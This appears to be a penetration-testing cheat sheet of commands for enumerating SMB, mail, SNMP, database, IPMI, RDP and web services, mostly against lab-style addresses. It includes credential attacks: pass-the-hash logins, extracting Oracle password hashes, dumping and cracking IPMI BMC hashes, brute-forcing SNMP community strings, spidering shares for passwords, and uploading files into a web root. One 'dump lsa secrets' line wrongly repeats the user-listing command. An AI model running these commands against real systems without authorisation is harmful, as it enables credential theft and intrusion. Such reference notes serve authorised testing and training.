enumdomusers # enumerate all domain users

# impacket samr dump
$ samrdump.py <host>

# smbmap enumeration
$ smbmap -H <host>

#crackmapexec smb enumeration
$ crackmapexec smb <host> --shares -u <username> -p <password>

# enum4linux-ng automated enumeration
# https://github.com/cddmp/enum4linux-ng
# returns os info, shares, domains, users, groups all in one shot
$ enum4linux-ng.py <host> -A

## netexec smb enumeration
# list shares
$ nxc smb 10.10.10.100 -u username -p 'p@ssw0rd' --shares
# list AD users
$ nxc smb 10.10.10.100 -u username -p 'p@ssw0rd' --users
# dump lsa secrets
$ nxc smb 10.10.10.100 -u username -p 'p@ssw0rd' --users
# search SMB share for files containing "passw"
$ nxc smb 10.10.10.100 -u username -p 'p@ssw0rd' --spider Finance --content --pattern "passw"
nfs enumeration shell
# show available nfs shares
showmount -e <host>

# mount share to our machine
mkdir targetnfs
sudo mount -t nfs <host>:/ ./targetnfs/ -o nolock

# unmount share
sudo umount ./targetnfs
smtp enumeration shell
# nmap commands check (smtp-commands is a default script)
nmap <host> -sCV -p25 -oA <output>

# nmap open relay check
nmap <host> --script smtp-open-relay -p25 -v -oA <output>

# connect to server to interact
nc -C 10.10.10.10 25

# use telnet or netcat to connect to SMTP to run further commands
# confirm connection
EHLO <server>

# enumerate users (status 252 may confirm users that don't exist)
VRFY <username>

# send mail
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA 
email body goes here
.
QUIT

# enumerate users via script
# -m may need increased for slower systems
smtp-user-enum -M VRFY -U userlist.txt -t <ip>
imap/pop3 enumeration shell
# scan common ports
nmap -p110,143,993,995 -sCV -oA imap_pop3 <host>

# detailed script scans (can take ~10m, has brute force checks)
nmap -p110,143,993,995 --script imap*,pop3* -oA imap_pop <host>



# POP3 connect TLS/SSL encrypted
openssl s_client -connect <host>:pop3s
# POP3 commands
USER <username> # login user
PASS <password> # login password
STAT # requests number of saved emails
LIST # requests number & size of emails
RETR <id> # get email by ID
CAPA # display server capabilities
QUIT

# IMAP connect TLS/SSL encrypted
openssl s_client -connect <host>:imaps
# IMAP commands (may require a tag before like "a LOGIN ...")
LOGIN <user> <pass> # login
LIST "" **  # list all directories
SELECT <mailbox> # Selects a mailbox, if emails exist, ID will print after
FETCH <id> all # Fetches email header, subject, flags
FETCH <id> rfc822 # fetches email as would be seen in an email client
LOGOUT
snmp enumeration shell
# brute force snmp community strings for snmp v1/2
# seclists/Discovery/SNMP/snmp-onesixtyone.txt is a good list
onesixtyone -c <wordlist> <host>

# connect to specific known snmp with community string and dump all OIDs
snmpwalk -v 2c -c <community_string> <host>

# alternative to snmpwalk for bruteforcing OIDs
# OID can be a wildcard like :.1.3.6.*
braa <community_string>@<host>:<oid_prefix_*>
mysql enumeration shell
# scan standard port
nmap <target> -sCV -oA mysql -p3306 --script mysql*

# connect (no space after -p for password)
mysql -u <username> -p<password> -h <target>
# mysql commands
> show databases; # list out databases
> select version(); # print current mysql version
> use <>; # switch to a different database
> show tables; # show tables in selected database
> show columns from <table>; # show columns in table
> select * from <table>; # query table for information
mssql enumeration shell
# precursor nmap script scan
nmap <target> -sCV -oA mssql_init --p1433

# nmap script scan, requires information about port, username, password, instance
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.129.201.248 -oA mssql_enum

# metasploit scanner 
msfconsole
> use auxiliary/scanner/mssql/mssql_ping
> set RHOST <target>
> run

# connect with impacket
mssqlclient.py <windowsuser>:<pass>@<target> -windows-auth # windows auth
mssqlclient.py <windowsuser>@<target> -windows-auth -hashes <hash> # pass the hash
mssqlclient.py <user>:<pass>@<target> # db local cred auth

# impacket commands
> enum_db # enumerate databases
> enum_links # enumerate linked servers
> enum_logins # enumerate logged in users
> enum_users # enumerate users
> select * from information_schema.tables; # list tables
> SELECT table_catalog, table_schema, table_name, column_name FROM   
  INFORMATION_SCHEMA.COLUMNS; # get columns in table, can be filtered with where
> use <database>; # set db as active
> select <columns> from <table>; # get info from table in selected db 
mssql enumeration (powershell) powershell
# reveal installed instances from registry
(get-itemproperty 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server').InstalledInstances

# check if service is running 
Get-Service -Name <instance_name>
oracle tns enumeration shell
# verify open default port
nmap -p1521 -sV 10.129.204.235 --open
# nmap brute force SID for connection
nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute

# Oracle Database Attacking Tool (ODAT) full enum
# attempts to guess SIDs, service names, creds, ports, files
# sudo apt install odat
# this method requires sudo to run odat to avoid perm errors
sudo odat all -s 10.129.204.235
sudo odat all -s 10.129.204.235 -d <SID> # if SID is known, can be provided

# connect
# if a shared library error appears see:
# https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared
# needs installed from oracle
sqlplus <user>/<pass>@10.129.204.235/<SID> # normal privs
sqlplus <user>/<pass>@10.129.204.235/<SID> as sysdba # attempt dba privs
# db commands
> select table_name from all_tables; # print tables
> select * from user_role_privs; # view user roles and privileges
> select name, password from sys.user$; # extract password hashes (needs dba privs)


# ODAT File Upload
# <dir>: windows C:\\inetpub\\wwwroot linux /var/www/html
# certain file uploads (like executables) could trigger AV, IDS or IPS
sudo  odat utlfile -s 10.129.204.235 -d <SID> -U <user> -P <pass> --sysdba --putFile <dir> testing.txt ./testing.txt

# confirm file upload
curl -X GET http://10.129.204.235/testing.txt
ipmi enumeration shell
# enumerate port with nmap
nmap -sU --script ipmi-version -p623 <target>

# enumerate with metasploit
msfconsole
> use auxiliary/scanner/ipmi/ipmi_version
> set rhosts <target>
> run
 
# retrieve BMC Hash (wordlists can be changed with other options here)
msfconsole
> use auxiliary/scanner/ipmi/ipmi_dumphashes
> set rhosts <target>
> run

# crack BMC Hash for HP iLO
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
rsync enumeration shell
# nmap scan verifying default port
nmap -sV -p 873 <target>

# connecting
nc -nv <target> <port>
# commands if connection success
> list # lists available shares

# enumerate share
rsync -av --list-only rsync://<target>/<share>
rdp enumeration shell
# nmap rdp scripts
# the cookies have mstshash=nmap baked in, which can trigger alerts
nmap -sV -sC -p3389 --script rdp* <target>

# enumerate security settings / encryption methosd
# https://github.com/CiscoCXSecurity/rdp-sec-check
./rdp-sec-check.pl <target>

# connect via linux
xfreerdp /u:<user> /p:<password> /v:<target>
wmi enumeration shell
# impacket's wmiexec.py
wmiexec.py <user>:<pass>@<target> "hostname"

Troubleshooting

View article
mtu check shell
#!/bin/bash
# ~/scripts/fix_mtu.sh 10.129.13.100
TARGET=$1
IFACE=${2:-tun0}

echo "[*] Discovering path MTU to $TARGET via $IFACE..."

for size in $(seq 1500 -10 100); do
    PMTU=$((size + 28))
    echo "  [*] Testing MTU: ${PMTU} bytes..."
    if ping -M do -s $size $TARGET -c 1 -W 1 &>/dev/null; then
        echo "[+] Found Path MTU: ${PMTU} bytes"
        echo "[*] Setting $IFACE MTU to ${PMTU}..."
        sudo ip link set dev $IFACE mtu $PMTU
        echo "[+] Done. Re-run after VPN reconnect."
        exit 0
    fi
done

echo "[-] Could not determine path MTU"
clock skew check shell
# method #1 testing for clock difference
$ date && date -d "$(net time -S 10.129.10.10)" 
Tue Jun 16 08:45:19 PM EDT 2026
Wed Jun 17 07:45:24 AM EDT 2026

# method #2 testing using nmap to check smb time
$ date && date -d "$(nmap -Pn --script smb2-time -p445 10.129.10.10 -oN - | awk -F'date: ' '/\| *date:/ {print $2}' | sed 's/T/ /' | head -1)" 
Tue Jun 16 08:45:19 PM EDT 2026
Wed Jun 17 07:45:24 AM EDT 2026


# pass either method into faketime to temporary set the terminal (and all subsequent commands) to that time
$ faketime "$(net time -S 10.129.10.10)" bash
$ date && date -d "$(net time -S 10.129.10.10)"          
Wed Jun 17 07:45:23 AM EDT 2026
Wed Jun 17 07:45:24 AM EDT 2026

Vulnerability Assessment

View article
automated scanning bash
# nmap version detection can fingerprint versions on open ports for use in finding vulnerabilities
nmap -sV <target-ip> -oA <output>

# web vuln scan
nikto -h http://<target> -o output.txt
finding exploits bash
# install command for searchsploit
sudo apt install exploitdb -y

# finding available PoCs for an app with searchsploit
searchsploit -www <appname> <version>
searchsploit openssh 7.2

# searching via metasploit
msfconsole
msf6 > search exploit <name>

Web Enumeration

View article
web enumeration waf bash
# detect firewall (stops after a signature match)
wafw00f https://target.xyz

# full signature detection
wafw00f -a https://target.xyz 
web enumeration vhost bash
# map an IP to domain in hosts file
gobuster vhost -u http://<url> -w <wordlist> --append-domain -o <output_file>
web enumeration crawling python
# scrapy runspider quotes_spider.py -o quotes.jsonl
import scrapy


class QuotesSpider(scrapy.Spider):
    name = "quotes"
    start_urls = [
        "https://quotes.toscrape.com/tag/humor/",
    ]

    def parse(self, response):
        for quote in response.css("div.quote"):
            yield {
                "author": quote.xpath("span/small/text()").get(),
                "text": quote.css("span.text::text").get(),
            }

        next_page = response.css('li.next a::attr("href")').get()
        if next_page is not None:
            yield response.follow(next_page, self.parse)
gobuster directory enumeration shell
# scan https, skip SSL cert validation with -k, save to output -o
$ gobuster dir -u https://target.pwn -k -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 2_gobuster_dirs_https.txt

# scan http, spoof user-agent to legitimate useragent -a, save to output -o
$ gobuster dir -u http://target.pwn -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 2_gobuster_dirs_http.txt -a 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 Edg/149.0.0.0'

# scan http, spoof user-agent randomly -rua, save to output -o
$ gobuster dir -u http://target.pwn -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -o 2_gobuster_dirs_http.txt -rua
gobuster fuzzing shell
# send a directory traversal list to a URL param to determine if directory traversal via file inclusion is possible
$ gobuster fuzz -u http://target.xyz?file.php=FUZZ -c "PHPSESSID=tigdi51ib0jj3u07h4710k8av5" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt --exclude-length 1031,1032
manual fuzzing markdown
Example of manual fuzzing of a URL endpoint and monitoring the returned error to determine how it works
| Path                         | Result                                                 |
|------------------------------|--------------------------------------------------------|
|?notes=files/ninevehNotes.txt | ✅ loads the file                                      |
|?notes=files/ninevehNotes     | ⚠️ throws the include() error that file doesn't exist  |
|?notes=test/ninevehNotes      | ⚠️ throws the include() error that file doesn't exist  |
|?notes=secret/ninevehNotes    | ⚠️ throws the include() error that file doesn't exist  |
|?notes=/ninevehNotes          | ⚠️ throws the include() error that file doesn't exist  |
|?notes=files/ninevehNote      | ❌ No Note is selected                                 |
|?notes=ninevehNotes           | ❌ No Note is selected                                 |
Solution: Include `/ninevehNotes` in the URL to allow the include() function to be called
No snippets match your search.